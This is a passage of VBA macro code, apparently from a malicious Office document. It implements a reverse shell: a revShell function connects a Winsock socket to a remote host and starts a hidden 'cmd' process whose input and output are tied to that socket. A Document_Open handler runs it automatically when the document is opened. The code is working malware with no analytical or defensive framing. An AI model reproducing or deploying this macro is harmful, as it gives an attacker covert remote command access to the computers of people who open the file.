Exit Function
End If
m_Hints.ai_next = pAddrInfo
Dim connected As Boolean: connected = False
Do While m_Hints.ai_next > 0
CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)
m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, ByVal 0&, 0, 0)
If (m_ConnSocket = INVALID_SOCKET) Then
revShell = False
Else
Dim connectionResult As Long
connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)
If connectionResult <> SOCKET_ERROR Then
connected = True
Exit Do
End If
closesocket (m_ConnSocket)
revShell = False
End If
Loop
If Not connected Then
revShell = False
RetVal = closesocket(m_ConnSocket)
Call WSACleanup
Exit Function
End If
Dim si As STARTUPINFOA
ZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
si.hStdInput = m_ConnSocket
si.hStdOutput = m_ConnSocket
si.hStdError = m_ConnSocket
Dim pi As PROCESS_INFORMATION
Dim worked As LongPtr
Dim test As Long
worked = CreateProc(vbNullString, "cmd", ByVal 0&, ByVal 0&, True, &H8000000, 0, vbNullString, si, pi)
revShell = worked
End Function
Public Function MAKEWORD(Lo As Byte, Hi As Byte) As Integer
MAKEWORD = Lo + Hi * 256& Or 32768 * (Hi > 127)
End Function
Private Sub Document_Open()
Dim success As Boolean
success = revShell()
End Sub